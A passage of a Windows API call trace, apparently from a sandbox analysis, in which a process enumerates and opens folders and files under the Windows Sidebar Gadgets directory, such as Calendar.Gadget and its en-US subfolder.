dwReserved0=0x0, dwReserved1=0x0, cFileName="Sidebar.exe.mui", cAlternateFileName="")) returned 1 [0089.801] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1193665a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1193665a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sidebar.exe.mui", cAlternateFileName="")) returned 0 [0089.801] GetLastError () returned 0x12 [0089.801] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12ef348) returned 1 [0089.801] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0089.802] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efab8) returned 1 [0089.802] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.802] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8012b5d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8012b5d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadgets", cAlternateFileName="")) returned 1 [0089.802] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.802] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8012b5d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8012b5d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.802] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0089.803] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0089.803] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1333560 [0089.803] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1333560, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x1333560, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0089.803] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1333560) returned 1 [0089.803] NtClose (Handle=0x180) returned 0x0 [0089.804] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12eea40) returned 1 [0089.804] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12eea40 [0089.804] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efab8 [0089.804] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12ef348 [0089.804] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e91c0 [0089.806] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8012b5d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8012b5d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.806] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea8d4f6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Calendar.Gadget", cAlternateFileName="")) returned 1 [0089.806] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea6723d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Clock.Gadget", cAlternateFileName="")) returned 1 [0089.806] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea6723d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CPU.Gadget", cAlternateFileName="")) returned 1 [0089.806] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea8d4f6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Currency.Gadget", cAlternateFileName="")) returned 1 [0089.806] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea8d4f6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PicturePuzzle.Gadget", cAlternateFileName="")) returned 1 [0089.806] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea8d4f6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RSSFeeds.Gadget", cAlternateFileName="")) returned 1 [0089.806] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea8d4f6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SlideShow.Gadget", cAlternateFileName="")) returned 1 [0089.806] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea6723d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather.Gadget", cAlternateFileName="")) returned 1 [0089.806] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea6723d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weather.Gadget", cAlternateFileName="")) returned 0 [0089.806] GetLastError () returned 0x12 [0089.806] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e90c0 [0089.806] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0089.806] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8012b5d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8012b5d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.806] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea8d4f6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Calendar.Gadget", cAlternateFileName="")) returned 1 [0089.806] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0089.807] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\calendar.gadget"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea8d4f6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.807] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\calendar.gadget"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0089.807] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0089.807] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1333560 [0089.807] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1333560, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x1333560, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0089.808] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1333560) returned 1 [0089.808] NtClose (Handle=0x180) returned 0x0 [0089.808] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0089.808] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0089.808] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0089.809] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9d6868 [0089.809] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0089.809] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1316240 [0089.809] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e91c0 [0089.809] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea8d4f6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.809] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb90bdeb0, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb90bdeb0, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb371d95c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1a74, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0089.809] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0089.810] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0089.810] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0089.810] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0089.810] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0089.811] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1316348 [0089.811] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0089.811] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c2128 [0089.811] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1316450 [0089.811] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0089.811] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a11cd0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0089.812] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3743abc, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xb3743abc, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xb3769c1c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0xd13, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1 [0089.812] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0089.812] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0089.812] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0089.812] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0089.812] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0089.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c2148 [0089.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1316558 [0089.813] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0089.813] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8191f35e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8191f35e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0089.813] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9097d51, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb9097d51, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb443525c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1 [0089.813] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0089.814] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0089.814] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0089.814] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0089.814] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0089.815] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12c2168 [0089.815] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1316660 [0089.815] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0089.815] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9097d51, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb9097d51, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb443525c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0x0, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 0 [0089.815] GetLastError () returned 0x12 [0089.815] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9080 [0089.815] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0089.815] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1ea8d4f6, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.815] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb90bdeb0, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xb90bdeb0, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xb371d95c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1a74, dwReserved0=0x0, dwReserved1=0x0, cFileName="drag.png", cAlternateFileName="")) returned 1 [0089.815] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a11cd0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0089.816] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1316768 [0089.816] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\calendar.gadget\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a11cd0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0089.816] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\calendar.gadget\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0089.816] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0089.816] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x1333560 [0089.817] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x1333560, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x1333560, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0089.817] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1333560) returned 1 [0089.817] NtClose (Handle=0x180) returned 0x0 [0089.817] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1316768) returned 1 [0089.817] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0089.817] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0089.818] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1316768 [0089.818] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0089.818] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1316870 [0089.818] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Calendar.Gadget\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e91c0 [0089.819] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22a11cd0, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea8d4f6, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.819] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x119103a1, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x119103a1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4a9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="calendar.html", cAlternateFileName="")) returned 1 [0089.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0089.819] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0089.819] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0089.819] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0089.820] RtlAllocateHeap 